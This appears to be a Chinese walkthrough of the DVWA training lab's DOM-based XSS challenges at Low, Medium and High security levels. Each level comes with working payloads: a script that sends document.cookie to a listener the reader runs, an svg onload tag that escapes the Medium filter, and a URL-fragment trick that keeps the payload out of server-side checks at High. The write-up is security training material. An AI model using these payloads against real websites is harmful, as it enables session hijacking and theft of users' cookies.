当前位置: 首页 > news >正文

DVWA -XSS(DOM)-通关教程-完结

DVWA -XSS(DOM)-通关教程-完结

XSS 攻击全称跨站脚本攻击。是指用户在 Web 页面中提交恶意脚本,从而使浏览包含恶意脚本的页面的用户在不知情的情况下执行该脚本,导致被攻击的行为。

与 SQL 注入类似,XSS 也是利用提交恶意信息来实现攻击效果的攻击行为。但是 XSS 一般提交的是 Javascript 脚本,运行在 Web 前端,也就是用户的浏览器;而 SQL 注入提交的SQL 指令是在后台数据库服务器执行。所以两者攻击的对象是不一样的。

XSS 按照攻击的手法,一般可以分为反射型 XSS(Reflected)、存储型 XSS(Strored)、DOM 型 XSS(DOM)。

反射型 XSS 是指恶意的攻击脚本包含在 URL 中,只有当用户访问了包含恶意脚本的 URL,才会被害。反射型的攻击,攻击脚本不会写入网站的数据库,是一次性的攻击,所以黑客一般需要诱骗用户点击包含攻击脚本的 URL,才能攻击成功。

存储型 XSS 则是把攻击脚本提交到网站后台数据库,只要有人访问了显示该数据内容的页面,就会被攻击。比较常见的场景就是黑客发表了一篇包含攻击脚本的帖子,那么只要有人访问该帖子内容的用户,就会自动在他们的浏览器上执行攻击脚本。相对于反射型,存储型的 XSS 成功率更高。

DOM 型 XSS 是指基于 DOM 文档对象模型的 XSS 攻击。编写网页时,经常会用到各种 DOM 对象,如document.referer、document.write 等等。DOM 型XSS 攻击的输出点就位于 DOM 对象上。严格来说,DOM 型 XSS 即有可能是反射型,也有可能是存储型

文章目录

  • DVWA -XSS(DOM)-通关教程-完结
      • Low级别DOM型XSS攻击实战
      • Medium级别DOM型XSS攻击实战
      • High级别DOM型XSS攻击实战

Low级别DOM型XSS攻击实战

1.安全级别设置为Low,点击XSS(DOM),进入DOM型XSS攻击页面。可以看到 URL 参数default

2.尝试在default=后提交弹窗脚本输出当前cookie,可以直接弹窗。说明当前级别没有对攻击脚本做任何过滤和转义。

<script>alert('XSS')</script>

3.目标是获取目标用户的 cookie 值,因此需要使用一个能够获取其 cookie 并将其发送给我们的有效载荷。启动一个 Python3 HTTP 服务器:

$ python3 -m http.server 8888 Serving HTTP on 0.0.0.0 port 8888 (http://0.0.0.0:8888/) ...

4.输入以下攻击载荷,并将获取到的Cookie值发送到 HTTP 服务器 (注意服务器IP地址的填写)

<script>window.location='http://127.0.0.1:8080/?cookie=' + document.cookie</script>

5.HTTP服务器上即可收到Cookie

Medium级别DOM型XSS攻击实战

1.安全级别设置为Medium,进入DOM型XSS攻击页面,查看页面源码,发现将<script标签替换成了?default=English,所以之前的攻击载荷无法正常工作。但查看页面源码会看到一个select语句;稍微修改一下攻击载荷即可绕过防御。

</select><svg/onload=alert(1)>


2.可以使用与之前相同的方法来窃取目标用户的cookie

</select><svg/onload=window.location='http://127.0.0.1:8080/?cookie='+document.cookie>



High级别DOM型XSS攻击实战

1.在这个层面上,开发者设置了一个白名单,只允许使用一组预定义的语言;任何其他语言都会被替换为?default=English。这里发生的情况是,当发送包含有效负载的 GET 请求时,它会被重定向到一个带有?default=English新 GET 请求。

/?default=<script>alert(document.cookie)</script>

2.在阅读 OWASP 关于基于 DOM 的 XSS 的页面,在 “高级技术和衍生技术” 部分中,基于 DOM 的 XSS 论文详细介绍了一种避免服务器端检测的技术。除了document.location之外,还描述了有效载荷的其他几个可能位置。
这种避免将有效载荷发送到服务器的技术依赖于这样一个事实:URI 片段(URI 中“#”之后的部分)不会被浏览器发送到服务器。因此,任何引用document.location等的客户端代码都可能容易受到利用片段的攻击,在这种情况下,攻击载荷永远不会被发送到服务器。
例如,上述基于 DOM 的 XSS 可以修改为:

http://www.wwdzs.com/page.html#default=<script>alert(document.cookie)</script>

代码会发起同样的攻击,但服务器却看不到(服务器只会看到对 page.html 的请求,而没有任何 URL 参数)。

3.稍作修改攻击载荷来获取cookie

python3-mhttp.server8888Serving HTTP on0.0.0.0 port8888(http://0.0.0.0:8888/)..
/xss_d#default=<script>window.location='http://127.0.0.1:8080/?cookie=' + document.cookie</script>

http://www.jsqmd.com/news/459524/

相关文章:

  • 语音识别模型国产信创:SenseVoice-Small ONNX在麒麟/UOS系统验证
  • Docker镜像构建过程:FROM基础镜像选择与层优化
  • 2024年蓝桥杯省赛C++大学A组试题整理
  • Qwen-Image-2512-SDNQ WebUI实战:中英文混合Prompt生成准确率实测报告
  • Hunyuan-MT-7B法律场景案例:涉外合同翻译系统部署教程
  • 星期二
  • FLUX.1-dev显存溢出?多卡GPU切分部署解决方案详解
  • 从入门到精通:列表、元组、字典
  • unreal5_mover+gasp学习笔记第1篇
  • FASTJSON库:阿里出品java界json解析库,使用与踩坑记录
  • 高阶函数
  • Qwen3-0.6B-FP8效果展示:FP8量化后中文成语理解、隐喻识别准确率对比
  • 导师不敢说!揭秘7款AI神器,30分钟生成3万字问卷论文 - 麟书学长
  • AutoHotKey 脚本 - win10 自动连接无线显示器
  • Qwen3-8B医疗问答系统实战:合规性与准确性平衡
  • StructBERT中文句向量惊艳效果展示:‘支持微信支付‘vs‘可用微信付款‘相似度0.93
  • Python3.9+GPU加速开发实战:Miniconda环境CUDA配置详解
  • ACE-Step实战案例:短视频配乐自动生成详细步骤
  • GTE中文嵌入模型多场景落地:中文直播弹幕实时聚类与高热话题发现系统
  • Streamlit人脸检测应用开发:cv_resnet101_face-detection_cvpr22papermogface界面定制化指南
  • lingbot-depth-vitl14多分辨率适配教程:448x448/336x336输入尺寸设置与精度影响分析
  • 仿真学习之有限元分析
  • Qwen-Image-Edit从零开始:显存仅需8GB,支持1024×1024高清图编辑教程
  • Fun-ASR识别速度慢?批处理大小与GPU缓存优化实战
  • Sonic数字人视频合成教程:精准控制duration防穿帮
  • 比迪丽SDXL模型部署指南:WebUI开箱即用,6秒出图实操手册
  • DAMO-YOLO手机检测多场景落地:产线质检、课堂监考、零售防盗应用解析
  • STM32 FOC无感控制电机的实现
  • Ubuntu20.04: virt-manager安装后出现QEMU/KVM - Not Connected
  • Ostrakon-VL-8B中小企业落地案例:3人运营团队用该镜像日省2小时人工巡检